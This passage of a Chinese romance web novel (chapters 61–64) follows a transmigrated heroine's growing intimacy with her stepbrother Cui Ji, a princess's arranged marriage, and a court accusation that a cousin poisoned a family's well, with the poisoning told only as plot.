崔绩接过,闻了闻,问:“可要我喝下?” 她连说“不用”,将茶给收回来,手指不经意地与对方接触到,像是被烫了一下,瞬间直往心里钻。 孤男寡女同处一室,还是奔着一起睡的目的,就算是此睡非彼睡,也足以让人浮想联翩意乱情迷。 “接下来你要我怎么做?”崔绩看着她,眼神灼灼。 她指了指自己的床,“兄长,你先请。” 崔绩“嗯”了一声,喉结随之滚动,他脱鞋上去躺在里面,像是等待着被人临幸一般。 暖黄色的室内,一切都显得分外的暧昧。 她深吸一口气,也跟着上床,随后将青纱幔帐放下,给两人盖上花绣莲纹的锦被。 如此,第二步应是成了。 她正准备给白鹤传递信号,里面的人忽然翻过来将她困于身下,那被欲所染的眼睛俯视着她,弥漫着危险的气息。 “知之。” 情人间呢喃的声音,直叫人听得快化成一滩水。 或许是喝过酒的缘故,她竟然不觉得害怕,甚至在猜测他想做什么时,心像是快要跳出来般,叫嚣着跃跃欲试。 这样的情形,这样的气氛,可能是酒壮怂人胆,她好像变贪心了许多,不光是想要自在安稳的生活,还想要更多。所以情之滋味,她也想尝尝。 当危险的气息逼近,她不仅没躲,反而闭上了眼睛。 唇齿相依的刹那,似金风玉露的相逢,随后她听到一声满足的叹息。《 》 60-70 第61章 她感觉男人的力道从轻到重, 技巧由生疏到熟练,像是攻城掠地一般长驱直入。而自己则像是一块可口的点心,被人从浅尝辄止到狼吞虎咽, 很快溃不成军。 唇上是麻麻的生疼,肺里的空气也快被吸光, 只能在被人反复咀嚼的间隙中得以呼吸,娇喘自是不断。 不知过了多久, 灼热的气息开始不满足于这样的接触,渐渐往下移去。 衣襟松散后带来的凉意,以及滚烫手掌与肌肤的相近,如电流一波一波地涌过,她根本承受不住, 不由得微微地弓起身体。 但她没有阻止这样的动作, 却理智尚在, 呢喃着出声, “兄长,这样……我们是不是就两清了?” 倏地, 一切戛然而止。 崔绩缓缓抬头,被情与欲布满的眼睛似正在燃烧的黑夜, 低沉的声音, 有着化不开的沉迷, “你这就好了?” 好自然是没好的, 因为剧情任务还没有完成。 但她不能任由事情继续发展下去, 倒不是怕失去什么, 而是怕到时候难以收场,毕竟心已经失了,若是再失身的话, 等到女主出现,她怕自己不能轻易放下。 青纱幔帐如瀑布,床内这一方空间仿佛是后面隐藏的山洞,隐蔽而神秘,藏着不为人知的妖精。 她拉了拉垂下来的绿绳,摇响了悬挂在床楣下的铃铛。 “姑娘。” 外面传来白鹤的声音。 这是主仆二人约定的信号。 很快脚步是响起,是白鹤往里走的动静。 她推了推身上的人,“兄长……” 崔绩垂了垂眼皮,嘴角略略地勾起,似是一声轻笑,然后伏下头来,在她胸前咬了一口,“这下就不能两不清了。” 他的力量不轻,因为极力克制着,当然也不重,可她却觉得那被咬过的地方像是烙印了什么印记。 哪怕是拢好了衣服,隔着布料也能感觉到那里在发着烫。 白鹤掀开床幔时,压根不敢多看一眼。 她臊眉耸眼的,反倒比两位正主更不好意思。 等到崔绩人都走了,她才长长地松了一口气,面红耳赤地看向已经坐起的魏昭。 魏昭捂着那被咬过的地方,心跳得很快。 “姑娘,你和大公子这样……又让奴婢故意撞破,是不是想借此来要挟大公子?” 按照套路来说,理应是这样的动机。 但在魏昭这里没有套路,有的全是被系统牵着鼻子走的无奈和荒唐。 “不是。” 这下白鹤更不解了。 憋了这些天,实在是再也忍不下去,“那姑娘为何要让奴婢这么做?” 魏昭心下叹息,无奈地回道:“你就当我是病了。” 白鹤皱着眉,没有继续问下去,一边摆弄着灵芝纹样的帐钩,一边将青纱幔帐挂起,“那大公子是不是也知道你病了?你对他做的那些事,他都容忍着,也没有告诉任何人,你让他来,他就来,招之即来挥之则去的,奴婢觉得他对姑娘很不一样。” “他说他喜欢我。” 魏昭说着,人已下了床,坐到镜子前。 白鹤喜着跟过来,见她撩开衣襟,再看到她胸前的咬印,脑子里瞬间像是充血般,一张脸红得像熟透的虾子。 仅是一眼,便不敢再看。 “大公子都那样说了,岂不是正好。” “我和他应该不可能。”她重新将衣服拢好,起身到桌边给自己倒了一杯水。 水从唇而入,顺着喉咙润肺,缓解了她被人为的口干舌燥。 “姑娘,是不是大长公主不同意,大公子没法娶你为妻,所以你……” “不是,他说过,他愿意入赘魏家。” “那姑娘为何还有什么可犹豫的,莫不是你对大公子无意?” 她摇了摇头。 这下白鹤都被她给弄糊涂了。 “如果你明知一个人以后会和别人在一起,但你和他相识在前,你们也彼此有意,那你该怎么做?” 白鹤一听这话,像是明白了什么,又仍然有很多疑惑。 “姑娘,奴婢虽然不知道你为何知道大公子以后会和别人在一起,可是凡事都有个先来后到,你与他相识相悦在前,凭什么把他拱手让给他人。” 是啊。 任什么? 难道就因为那个该死的系统说她是恶毒女配! 魏昭一掌拍在桌子上,指腹用力地按着,“你说的对,如果那个人出现后,我和他仍然认定彼此,那我绝对不会放手。” * 夜很长,又很短。 一觉到天明也好,辗转难眠也罢,时光从不曾为任何人停留,不管这一夜如何过去,太阳也依旧照常升起。 崔府几日的平静被打破,因为林氏回府了。 她一进家门,第一时间去给盛氏请安。 盛氏屏退左右,与她单独说着话。 谁也不知道她们婆媳说了什么,她出来时脸上都是带着笑的,却很快传出她把掌家之权让给杨氏的消息。 府里上下议论纷纷,说什么的都有。 魏绮罗与魏昭说起此事,言语间颇有几分感慨,“老夫人是个明白人,就是太过重颜面,若换成是我,必是不会就这么算了。” 大户人家最重大局,哪怕是内里一团腌臜,面上也是鲜花着锦。 怕就怕有人心不甘,不仅不知悔改,反而变本加厉,倘若真是这样,以后这府里或许还有不少是非。 但多思无益,于魏昭而言,该做的都做了。 已是近午时,魏绮罗看了一眼沙漏,“这个时辰了,看来那个寿昌公主今日不会再来找你。” “应该不会吧。” 魏昭想着,她和崔绩离开时,那两人已经喝了不少,哪怕再是海量,第二天也不可能恢复过来。 事实也是如此,沈弼去找崔绩时,脸色不能用难看来形容。 冷酷的脸庞上全是宿醉之后的憔悴,剑眉紧紧地皱成一个川字,大马金刀地坐着,又是揉着自己的眉心,又是连连叹息。 “孝白,你给我支个招,你说我眼下该怎么办?” 崔绩睨着他,淡淡地道:“寿昌是我表妹,你让我怎么说。” “我……”沈弼一副百口莫辩的样子,“我什么都不记得了,醒来就发现自己和她睡在一起。她给我放了话,要么我去找陛下求旨,要么她让陛下下旨。” “她已经给了你选择,你自己看着办就好。” “崔孝白!”他一把抓住崔绩的手,满眼的乞求,“你可不能见死不救,你又不是不知道她那个性子,我若是尚了她,以后还有好日子过吗?” 崔绩不置可否。 过了一会儿,道:“她的身份足可以压住你府里的那些人,我倒是觉得,你若是娶了她,以后的日子反倒轻松许多。” 沈弼闻言,眉头皱得越深,若有所思起来。 半晌,才注意到好友今日的气色,“咦”了一声,“你怎么看起来一副春风得意的模样,莫不是你们也……” “我们没有喝多,岂会像你们一样?”崔绩有些嫌弃地甩开被他抓着的手,“我劝你最好是自己去求旨,这事莫让寿昌出头。” 他想了想,点了点头。 等他走后没多久,公主府来人,让崔绩立刻回去一趟。 崔绩的脸色瞬间淡下来,没有任何迟疑地离开。 上马车,入府门,一路未做停歇,直到站在独孤岚面前。 独孤岚坐在上位,居高临下地看着他,那锐利而不留情面的眼神,不像是在看自己的外孙,更像是在审视自己的属下。 好半天,她朝他走来,抬手给了他一巴掌。 “你说,你是不是故意的?” 他没有躲,也没有挡,清冷如玉的脸上很快浮现出红印,迎视着独孤岚的眼睛,目光一如既往的平静。 这种平静像死水的湖,波澜不惊。 “你明知本宫的心思,却故意让寿昌和沈家那小子混在一起,本宫还以为你是去看着你那继妹,没想到你竟是存了这等算计!你当真是好手段,一声不吭的就把他们送作了堆!本宫是该夸你呢,还是该谢你!” “那祖母可有问过寿昌是什么心思?” 独孤岚闻言,勃然大怒。 “你们知道什么?本宫都是为你们好!世间男女情爱之事,最是让人昏头,若没有长辈看着,你们只会害了自己,自己往火炕里跳,一个不好还会搭上自己的性命!” 她面色变化着,怒火迟迟不散。 最后,厉声道:“你这般忤逆不孝,去领三十军棍!” 三十军棍在军中不算多,但哪怕是再身强力壮之后,受过此罚之后也不可能如没事人一般。 当崔绩拒绝斗南的搀扶,慢慢往自己的住处走时,被得知他回来后就一直守着的赵狄给堵个正着。 赵狄不知他受罚之事,恨不得逮着机会好好显摆自己的好,却不正面直说,而是从自己近日天天给独孤岚做药膳的事说起。 “我想着自己厨艺虽不算好,但胜在通些药理,若能给大长公主调理身体,那也是我的一番心意。” 见他没什么表情,又道:“大长公主年纪大了,国公爷又不在京中,她身边唯有表哥。表哥若是公务不忙的话,还是应当多陪陪她。” “说完了?” “表哥……”她感受到他的冷淡,心下自是不甘。 入目所及的不止是矜贵如玉的男子,还有远胜于京中任何世族高门的富贵,滋长着她的贪心,让她恨不得死抓着不放。 “你可是嫌我多嘴了?我自小被祖父祖母长大,最是知道亲情的可贵之处。我知道你事多,我愿意帮你照顾大长公主……” “你叫我一声表哥,我就当你是我表妹。”崔绩从她身边过去,“若你不想做我表妹,那你我就是陌路。” 她大惊失色,表情中全是不可置信。 “表哥!” 斗南挡住她的去路,冷眉以对。 她掐着自己的掌心,满目的不甘像泛滥的洪水。 而崔绩至始至终都没有回头,很快消失在重重的景致之中。 拱桥流水,水榭楼台,假山回廊,他一重重地穿过去,这一条路他仿佛走了很多年,从年幼到长大成人。 布置简单的屋子,空落落的没有人气。 这是他的住处,却不是他的家。 他缩在幼年时常待的角落里,双手环着,像是在抱自己,也像是在抱着什么东西。 恍惚之间,他仿佛回到小时候,怀中是一只白色的小猫,转而一刹那,他又似在抱着自己心悦的女子。 “小猫,知之……” 第62章 * 当夜, 沈弼就入了宫。 第二天陛下给他和寿昌公主赐婚的消息就传遍京中,一时之间说什么的都有。 崔府上下也在议论此事,便是年纪不大的崔明意都能说上几句。 沈家后宅乱相频出, 继室和姨娘们明争暗斗,嫡出的与庶出的相互算计, 谋来抢去的无外乎侯府的爵位与产业。而今皇家唯一的嫡公主要下嫁发,那些争了半辈子的人希望全都要落空, 以后定然也会安分不少。 但对他来说,却是极其的有利,可谓是有人欢喜有人愁。 “我听说三姐姐一听到这事,气在摔了好多东西,一直在房间里哭。”崔明意托着腮, 一副小大人的模样, 也不知到底明不明白崔明淑为什么会是这样的反应。 府里很多人都知道, 崔明淑属意沈弼。 沈弼的条件说起来确实极好, 侯府世子,长相人品皆出众, 且极有能力,这样的青年才俊放眼京中, 掰着手指都能数得清。若不是侯府那一摊子破事, 他的亲事岂能拖到现在。 但魏昭觉得, 她和沈弼真不合适。 她在后宅长大, 哪怕是庶出, 对于后宅的手段应该也知道不少, 正是因为如此,她若是嫁去侯府注定只会囿于那高墙之人,不说是心机能压过其他人, 恐怕还是被压制的那一个。 “四姐姐,我还听人说寿昌公主本来是要嫁给大哥的,此事可当真?” 屋子里没有外人,这也是崔明意有什么话就直说的原因。 魏昭不好回答,只道:“京中是有这样的传言,真的假的我也不知道。” 崔明意情绪不是很好,有些闷闷地道:“比起欣然表姐来,我觉得寿昌公主都挺不错的,若是她给我们当大嫂,以后肯定常带我们出去玩,还能去一些原本不敢去的地方。” 说到这,她眼神亮起,低着声音问道:“四姐姐,你和我讲讲,那地方好玩吗?是不是很快活?” 这样的问题魏昭更不好回答,以免教坏孩子,不得不含糊其辞,“我都没怎么敢抬头看,没进去多大会儿,大哥就去了。” 她脸色一黯,失望起来。 突然惊呼出声,“寿昌……公主殿下!” 魏昭朝门口望去,来人正是寿昌公主。 寿昌公主显然心情极好,一进门就虚扶了她一把,“你我也算是朋友,以后私下见面,你莫要同本宫讲这些虚礼。” 她说着感恩的话,将人请到上坐,同时给崔明意使眼色。 崔明意也是个精怪的,当下天真烂漫地告辞。 白鹤连忙重新沏茶,将吃剩的点心撤下,换上新的。 寿昌公主打量了一番屋子的布置,最后落在那扇猫爬树的屏风上,“这绣图倒是有些趣味,瞧着与你的性子不太像。” 这些年魏昭装得好,人人都道她是个乖巧懂事的,无人知她内心其实是个不受世俗规矩礼数束缚之人。 很显然,寿昌公主应该也是这么以为的。 “民女养了一只猫,有日见它爬树,觉得很是有趣,便让人绣了这块屏风。” 她给寿昌公主倒茶,呈上后道:“恭喜殿下。” 寿昌公主的眉眼越显神采飞扬,当下拉着她的手,也不避讳说起自己前天晚上醉酒后和沈弼睡在一起的事,言语间颇有几分后悔之意。 “早知这样能成,本宫何至于还在苦等着那榆木脑袋开窍。” 她感慨这位公主殿下果然行事不忌的同时,暗忖着这事大小也算是皇室秘辛,应该不是她能听的。 旁的话都不合适,只能继续恭喜对方。 “说起来本宫和沈弼的事能成,你和表哥也都有功。若不是你陪本宫游湖,表哥又给我们弹琴助兴,这事怕是还有的磨。” 一边说着,一边挑眉看她,“所以啊,本宫给你准备了谢礼。” “殿下太客气了,民女什么都没做,哪里敢居功,更受不起殿下的礼。” 她还以为寿昌公主此次登门是带了礼的,东西应该在前院,哪成想对方突然大笑起来,很是畅快的神情,却又有几分神秘,“本宫瞧着你对那个木公子有些不同,所以本宫把他给赎了出来,人已经送到你自己的私宅,你想怎么处置都成。” “……” * 魏宅的墙边,李戌不知站了多久。 他离开时,花圃是刚修整的,而今已是花草繁茂,如他一般。他走的那会儿身上还有重伤,如今也好得差不多。 一墙之隔,曾经是他的家。 而这个宅子,也是他小时候进出似在自己家中一样的地方。他忆起多年前的事,目光中涌动着怀念之色。 外面传来敲门声,他忽然紧张起来。 来人正是魏昭。 魏昭送走寿昌公主后,立马向盛氏禀明此事,紧接着赶紧回来处理。 一看到他,第一句话就是,“我不知道寿昌公主会这么做,她是君,我不能拒绝。但我知道你这次回京肯定还有自己的,如此一来会不会有影响?” 他慢慢摇头,看着她道:“我还好,姑娘家的名声重要,受影响的应该是你。” 魏昭是未出阁的姑娘家,哪怕是立的女户,将来要招婿上门,家里若有个年轻的仆从或许都要被人指指点点,更何况还是从幽篁馆赎身之人。 “她是公主,她有所赐,我岂能拒,旁人应该也知我的难处,大抵不会说什么。”她朝旁边的宅子望去,“你家这宅子被我几年前买下,一直空着,你暂时先住一段时间。等寿昌公主忘了这事,你再离开。” “好。” 这一来一去的话说完,一时又没了下文。 月婆婆和白鹤已经识趣地各自去忙活,将空间留给了他们。 早就长了好多年的柿子与他们的印象中没有太大的变化,只是树皮瞧着更风霜了些,院子里的石桌石凳也依旧,透着岁月侵蚀的斑驳。 “你还记不记得小时候,你被树上的毛虫蛰了,气得让魏叔把树给砍了,后来终是舍不得满树的柿子,这才作罢。” “你说的这些我都不记得了。”魏昭望着那树,“这么多年过去,这树看着还是以前的那棵,却也不是那棵。” 这话里的深意,李戌不可能明白。 魏昭把月婆婆叫来,交待了几句,由她带李戌去隔壁,再帮着添置一些生活用品。 李戌走之前,对她道:“知之妹妹,谢谢你。” 人刚到门口,迎面遇到崔绩。 两人一个往出走,另一个往里进,错身而过时,崔绩淡淡地睨了他一眼。 仅是一个目光,他却感觉自己像是被看透了一般。 崔绩如往常般清冷中透着矜贵从容,若是细心瞧去,才能发现步子间的轻微变化,哪怕是极小,魏昭却一下子看出来。 她几步上前,将人往屋子里请。 已经出门的李戌听到她唤着“兄长”,又见她看崔绩时明显不一样的目光,还有那下意识中流露亲近的肢体动作,不由得眸色一暗。 门很快关上,她和崔绩也进了屋。 “兄长,你……你又受伤了?” 崔绩将她眼底的尽收,看着她玉色的小脸,喉咙不受控制地滚了滚,“挨了三十军棍,无碍。” 也就是说他又被自己嫡亲的外祖母给罚了。 三十军棍可不少,身体弱的怕是命都去了半条,纵是强健些的,也要躺上个几天,哪里像他这样,看着像没事人似的。 “可上过药了?” 他没说话。 她连忙去取药,想着他的伤在后背,也不知情,直接让他脱衣服。 军中也好,大户人家的内宅也罢,那些刑罚之人下手都有分寸,力道也拿捏得极好,让不见血就不见血,让皮开肉绽就皮开肉绽。 不见血的伤,伤大多都在内里,但表皮的淤雪,也得用药散开。 她的指尖一碰到他的皮肤,明显感觉他的身体一紧,不知是因为痛感而下意识的收缩肌肉,还是因为她。 “你外祖母罚你,是不是寿昌公主的事?” 他“嗯”了一声,低垂的眼里里翻涌着无尽的浪潮。 “木公子的事,祖母原本想让父亲帮我处理,是我让她派人去知会你的。相比起父亲,你过来更合适一些。” 一则是因为他的身份,二则是因为他们之间不为人知的联系。 “知之。” 他一叫她的名字,她的心就跳得厉害。 “你能想到我,我真的很高兴。我知道你是个有主意的,想来自己已经处理好了,但我希望你若是有什么需要帮忙的地方,或是有什么为难之事,一定要记得找我。” 这下她的心,不仅是跳得欢,还乱得厉害。 她一边抹着药,一边说起自己对李戌的安排。 “虽说公主让我怎么处置都行,倘若我直接就把人给放走,她怕是会不高兴。我思量来思量去的,还是将人先留下,过些日子再作打算。” “你既已有安排,那我就不多说什么。只一点,他虽是住在隔壁的宅子,但这一墙之隔的,有些话好说不好听,所以他未走之前,你就住在府里。” 她每一次触碰对他而言都是难以言喻的感觉,似享受,也似折磨。 药抹好后,她让他晾一会再穿衣,自己则去给他配些口服的药。 等她煎好药回来,见他整个人都缩在软榻之上,那极度渴望温暖,且没有安全感的睡姿,是她在那个变成猫的梦里所熟悉的。 如画的眉眼,精致的五官,与梦中幼童的脸重叠在一起,皆是无害的模样。 一时之间,她竟分不清哪个才是梦。 过了一会儿,她轻轻走过去,将药放在桌上,犹豫着该不该叫醒她。 忽然,已经睡着的人一把抓住她的裙摆,完美的薄唇动了动,溢出一个字。 “娘。” 第63章 人没有醒, 还陷在梦中。 或许不止是他的梦,还有她的梦。在她的梦里,她也听到过他在梦中喊娘, 那软糯可怜的声音,仿佛穿越时光, 再次回响在她耳边。 她慢慢蹲下去,如变成猫时那般, 轻轻地抚摸着他的脸。 他的眉头渐渐舒展,似是得到了抚慰,“小猫……” 尔后,唇角微微上扬,“知之。” 她的心蓦地一跳。 “兄长。” 他缓缓睁开眼睛, 没有人前的清冷平静, 而是欢喜中透着些许的迷茫。 “药好了。”她说。 药的气味随着热气的散发, 充斥在屋子里, 他慢慢坐起,问:“我睡了多久?” “不到半个时辰。” 他看着她, 然后垂了垂眼皮,“我还以为自己睡了很久, 似是梦到幼年时养的那只小猫, 还有你。” 她的心再次为之一颤, 暗道或许自己做的那个梦也是一场穿越。 若真是这样, 说明他们之间的牵扯很深, 且她对于男主而言, 是救赎与被怀念的对象,但为什么她是书里的恶毒女配? 那个系统只知给她布置任务,而不让她知道的面的剧情, 是觉得她无足轻重,没有知道的必要,还是想隐瞒什么? “你在想什么?”崔绩喝完药,见她在发呆,手指动了动,犹豫了一会儿,终是没能忍住心底的渴望,点了点她的额头。 她脑子一转,道:“我好像还听到你喊娘了,你是不是很想你娘?” 他闻言,如玉出尘的脸上像是瞬间蒙上一层雾气,让人辨不出是什么情绪。 半晌,才道:“我只见过她的画像,所有人都说她的死是因为我,但她却没有问过我,我是否愿意出生。” 人不能选择自己的出生,谁都不可以。从幼年懵懂到长大成人,他内心的经历无人能知,也不可能有人感同身受。 还有独孤岚对他的态度,恐怕对他的心理影响很大。 那样的冷淡,那样的沉重,他未必没有怨。 魏昭想了想,道:“不管你是为何来到世上,但你能见这天地,看人间美景,成为万物之一,应该也不虚此行。” 崔绩看着她,眸色晦而深,“你说的没错,若没有我,我也不会遇见你。” 她任由他将自己搂在怀里,很快感觉到他气息不对,烫着她的皮肤,立马一把推开他。 这人当真是限制文男主,上一秒还有黯然伤怀,下一秒就这死出! “兄长,事情已了,我也该回去了,免得祖母担心。” 他眼神暗若深渊,那轻舔唇角的动作看得人心惊肉跳,似未得到满足的凶兽,吓得她下意识就往外面跑。 白鹤和月婆婆见状,忙问她这是怎么了。 她自是不能说实话,只说自己走得急了,忘了家里还有客人在。 再看到跟在她身后出来的人,那矜贵从容又淡然的模样,与方才判若两人,让人心下腹诽不已,暗骂一声装货。 两人刚出苦巷没多久,就被寿昌公主的马车拦下,她一开口就问沈弼去了哪里。 崔绩不徐不慢地道:“有个案子棘手,他已经出京。” “他去了哪里?” “机密要案,臣不能说,还请殿下见谅。” 寿昌公主轻哼一声,没好气地道:“他不会是在躲本宫吧,亏得本宫还以为他开了窍,没想到他早不出京,晚不出京,赐婚的圣旨一下就没了影。” 她没说的是自己让宫中的御厨备了膳食,准备第一次以未婚妻的身份去给沈弼送饭,谁知到了大理寺才知道人走了。 大理寺的其他人一问三不知,只说沈弼走之前见过崔绩,她这才急着来相问。 崔绩放下车帘子,让车夫继续赶路。 魏昭看着他近乎完美的侧脸,不无猜测地问道:“你是故意的?” 他轻扯嘴角,不置可否。 这般模样哪里还有平日里不怎么近人的气质,竟有了人之常情的赌气,仿佛一下子多了人情味。 魏昭哪里看不出来,他把沈弼支出京外,恐怕就是报复寿昌公主给自己送男人一事,可惜寿昌公主不知道,还当沈弼是故意逃避。 而沈弼呢? 恐怕因为太过信任自己的好友,压根没有想到这一点。 “真没看出来,原来你也会捉弄人。” 他握住她的手,语气很轻,却透着几分诱惑,“我以后不会在你面前掩饰自己的性情。” “……” 她被他握着手像置于炉火中,那火顺着血脉一直窜到她心尖,再流向身体所有的感官,齐齐为之颤抖。 也就是说,他身为限制文男主属性也不会掩饰! 他们回到崔府后,一起去见盛氏。 盛氏听完她对李戌的安排,还当是崔绩的意思,“这样处置倒是妥当,公主那边也过得去。那人没放之前,昭丫头就住在家里,不要去那边,免得被人说三道四。” 她自是应下,见盛氏精神看上去并不太好,遂问:“祖母这几日,身子可还好?” 盛氏知道这话的意思,欣慰之余,心里也很是受用,“已经好了很多。” 吴嬷嬷适时道:“老夫人的药都是奴婢亲自盯着人抓的,煎药也未假他人之手。” 这时斗南从外面进来,附耳和崔绩低语一番。 斗南出去后,盛氏道:“绩哥儿,你有事就赶紧去忙。” 她以为是衙门的事,自是什么也不会问。 但崔绩却道:“祖母,确实是有事。有人挡了我外祖母的座驾,以血书为证,欲告御状。” “必是有天大的冤屈,你快去。” 崔绩没有转身就走,而是又道:“据那人所说,是灭门之冤,而他所告之人,是赵家表妹。” * 赵狄一听独孤岚要见自己,大喜过望。 对传话之人道:“正好这药膳也好了,我这就给殿下送去。” 她私心想着,必是自己这些日子所做的事有了效果,为此雀跃不已,一路上都在思量着等会该如何表现。 一进去,她就呈上药膳,一一说道自己在里面加了何种药材,有何作用等等。 荣嬷嬷把药膳接过去,却并未端到独孤岚面前,而是搁置一旁。 独孤岚问道:“你可识得此人?” 赵狄闻言,这才注意到屋子里还有其他人。 那是一个男子,看上去约摸四十来岁的样子,皮干身瘦一脸蜡黄的病气,头发不仅花白,还十分稀疏。 她没有见过这样的人,却从对方的五官眉眼中瞧出几分熟悉来,忽地心头一跳,连忙道:“回殿下的话,臣女不识得此人。” “赵狄!”男子愤怒地盯着她,那如火如刀的目光像是恨不得把她给活剐了。“你个毒妇,你好好看看,我是谁!” “你是谁?”她像是被吓到,“我与你素不相识,你何故这样?” 男人咬牙切齿着,“我是张轩,你是不是以为我已经死了?” “你是张轩!”她装作震惊的样子,“我离开濯州时,本想着去看你的,左右思量着又觉得不太合适,你怎么来安元府了?” 张轩的表情变化着,目眦尽裂,“你真以为你做的事神不知鬼不觉?老天有眼,我不仅没有死,还知道了我们一家几乎死绝,都是你这个毒妇所为!” 他“扑通”跪在地上,不停地朝独孤岚磕头,“求大长公主为臣做主,还有张家上下四十三人一个公道!” 血书被他举过头顶,上面的字已经干透,深红刺目。 荣嬷嬷过来,将他的血书呈给独孤岚。 独孤岚厉目如炬,看了一遍后,问他,“依你此状所述,你家上下四十三人皆中毒两年,其中有五人已经离世,全是赵狄一人所为,可有证据?” “殿下明查,臣与赵狄原有婚约,后来赵老爷子去世,赵家日渐落败……是臣该死,竟生出退婚之意。她当时答应得爽快,还亲自来我家退回聘礼,却没想到竟然趁机给臣家中的水井里投毒!” “殿下,冤枉!”赵狄也跟着跪下来,“臣女没有做过那样的事。自臣女的祖父去世后,家境确实大不如前。张家生了退亲之意,臣女也能理解,故而主动将聘礼退还,至于下毒一事,实在是诬蔑,还请殿下明鉴!” “就是你干的,我家下人记得清楚,那日你的丫环曾去过我家后院!” “张轩,你我曾有过婚约,你何故要将这脏水泼到我身上?” “殿下。”张轩抬起头来,“臣今年二十有一,却已衰老至此,家中人人如下官这般,大夫也瞧不出个所以然来,引得外人说三道四,谣传我张家必是做了伤天害理之事,才会遭此报应。” 他看向赵狄的目光,越发的恨意滔天,“若不是前些日子有个神医指点,臣还不知我们全家竟是中了慢毒。” 赵狄自是不认,似受到天大的冤枉,“殿下,你莫要信他的话,他说的神医,谁知道是不是骗子?” “就是你做的,你因退婚一事对我张家上下心生怨恨,你个这毒妇!你跟人学医,原来是为了害人,我绝对不会放过你的!” “你我已无瓜葛,你为何还不放过我?” “够了!”荣嬷嬷喝道:“殿下面前,岂容你们放肆!” 转身对着独孤岚时,严肃换成恭敬,“奴婢已派人去告知公子,公子应该等会就到了。” 说话的当口,崔绩在外面求见。 独孤岚看着随他进来的盛氏和魏昭,凌厉的眼睛眯了眯。 魏昭跟在盛氏后面,借着被人挡着,在经过赵狄身边时,故意停了一下。 赵狄对上她别有深意的目光,忽然明白了什么,瞳仁猛地一缩。 她不知收敛,眼神反倒越发放肆。 似嘲弄,似挑衅。 第64章 盛氏是赵老夫人的胞姐, 赵老夫人不在京中,唯一的孙女出了事,由她这个姨祖母出面再是合情合理不过。 但魏昭一个不相干的人却跟了过来, 才是突兀的存在。 对此,盛氏自是解释了一番, 说明公主府的前去报信时,这个继孙女恰好也在。她身体不太好, 身边得跟个贴身照顾的小辈。 独孤岚没说什么,给荣嬷嬷递了一个眼色。 荣嬷嬷心领神会,将事情一说,仅是阐述,未有任何个人观点。 盛氏越听脸色越难看, 神情间全是说不出来的复杂。“欣然, 你……” “姨祖母, 我没有做过那样的事, 全是这张轩恶意诬蔑,也不知他是什么人挑唆了, 居然如此血口喷人!” 赵狄说这话时,是望向魏昭的。 魏昭就站在盛氏旁边, 面上是恰到好处的震惊, “欣然表姐还定过亲, 后来又退亲了, 怎么没听人说过……” 盛氏皱着眉, 这事她当然知道, 只不过因为心疼妹妹而故意不提。 她看着明显比实际年纪苍老许多的张轩,心道一声造孽。 张家在濯州不说是名门望族,却也是数得上的大户, 家中子弟显赫的不多,但多是衙门中人,张轩自己就在濯州府当差。 他的祖父和赵老爷子是同窗,赵老爷子迁回祖籍后,与张家互通往来,由两位老辈做主,定下了孙辈的亲事。 这门亲事对于已经落败的赵家而言,确实称得上不错。 赵老夫人给盛氏的信中,不乏对这个未来孙女婿的夸赞之词,说其是濯州城难得的青年才俊,而今眼前这个看上去年过中年,且满身透着衰败之气的人,如何不让人唏嘘。 张轩从怀中取出一沓东西,高举过头顶,“大人,下官有证据。” 他说的证据是经那神医的提点后,问遍濯州城所有的药铺,将两年前赵狄在各家铺子所买的东西汇总。 赵老爷子在濯州养病多年,赵狄这个孙女为尽孝心,没少亲自去药铺抓药,尤其是后来跟人学医,更是各大药铺的常客,是以那些药铺的人都认识她,以及她身边的欺霜。 她买的药不少,杂而繁,倒是符合学医之人的身份。 那沓纸上是从药铺誊写的单子,单子上都有被勾出的药材,崔绩看过后,将它们呈给独孤岚。 张轩说药铺的人都可以做证,单子也有存底,又道:“那神医说了,这些东西就能做出我们全家所中之毒。” 他整个人像是快要枯朽,一双眼睛却似滴出血来,恨意漫天地瞪着赵狄,“毒妇!拼了这条命不要,我也要将你的真面目昭告天下!” 赵狄满眼的不可置信,下意识又去看魏昭。 魏昭也不避,但那对上她的目光,犹如在看什么脏东西。 她大恨,同时又惊疑不定。 “你们张家在濯州人脉极广,谁知道是不是买通了那些人?你说的那个神医,如今人在哪里,可敢当面对质?” 张轩被问住,一时词穷。 她乘胜追击,“你说单子上的东西能制出害人之物来,可有确实的证据?” 越是厉害的毒,其制作之法越是繁杂晦涩,若是做不出来,她便能洗清嫌疑,若是有人做出来,那么她就能祸水东引。 这话就是个陷阱,且是冲着魏昭来的。但她不知道的是,魏昭故意刺激她,等的就是她主动提出。 果然,大长公主闻言,将那些单子给了荣嬷嬷。 荣嬷嬷出去后没多久回来,先是朝自家主子点了点头,再耳语一番。 魏昭见之,肯定了自己的猜测。她手里的那匣子东西来自樊城大牢,这么看来那些东西的制作之人就在公主府。 那些东西的来历,是月婆婆告诉她的。 她垂了垂眼眸,若有所思。 谁也不知道荣嬷嬷和独孤岚说了什么,但所有人都能明显感觉到这位大长公主的气势瞬间惊人,如出鞘的刀锋。 那凌厉的锋芒,落在赵狄身上。 赵狄大骇,赶紧伏下去,“殿下,可否让臣女看看那些单子?” 等荣嬷嬷把单子递给她,她一张张地翻过,断然否认,“殿下明鉴,这上面的东西有些臣女买过,有些并非臣女买的,臣女冤枉啊!” “毒妇,你还有脸喊冤?可怜我张家上下,死的死,活着也是人不人鬼不鬼。”张轩悲愤着,乞求着,“殿下,大人,救你们做主!” 独孤岚望向崔绩,“这案子你来处理。” 崔绩称是。 “臣这就派人前往濯州取证。” 从安元府到濯州,一来一回也得有些时日,人证物证未全不能定罪,自是不能将人直接下入大牢。 盛氏想了想,提出把赵狄接走的要求。 独孤岚摆了摆手,“不必麻烦,人就留在本宫这里。” 众人散去后,一个嬷嬷进来。 “你说那单子上的方子,与你近日琢磨出来的方子一样?” 那嬷嬷点头,“奴婢也很是奇怪,从那人的症状来看,确实中毒的时日不短,只是这方子若是两年前就有,奴婢不可能不知道。” 独孤岚冷哼一声,“审一审就知道了。” * 从一出门,赵狄就被人跟着。 一直到进了自己所住的客房,那些人还守在门口。 且不说她和欺霜主仆二人如何商量对策,却苦于什么也做不了,因为不管去到哪里都有人紧紧地跟着。 她心神不宁,又惊骇难当,哪里还睡得踏实。 迷迷糊糊间,感觉有人在摸自己,吓得她一下子坐起来,尖叫出声。 幽暗的光线中,只见一团黑漆的东西,看着像是个老者,“毒妇,还我命来!” 她惊恐地看着一团又一团的东西冒出,齐齐朝她扑来,阴森森地喊着让她还命,她两眼一黑晕了过去。 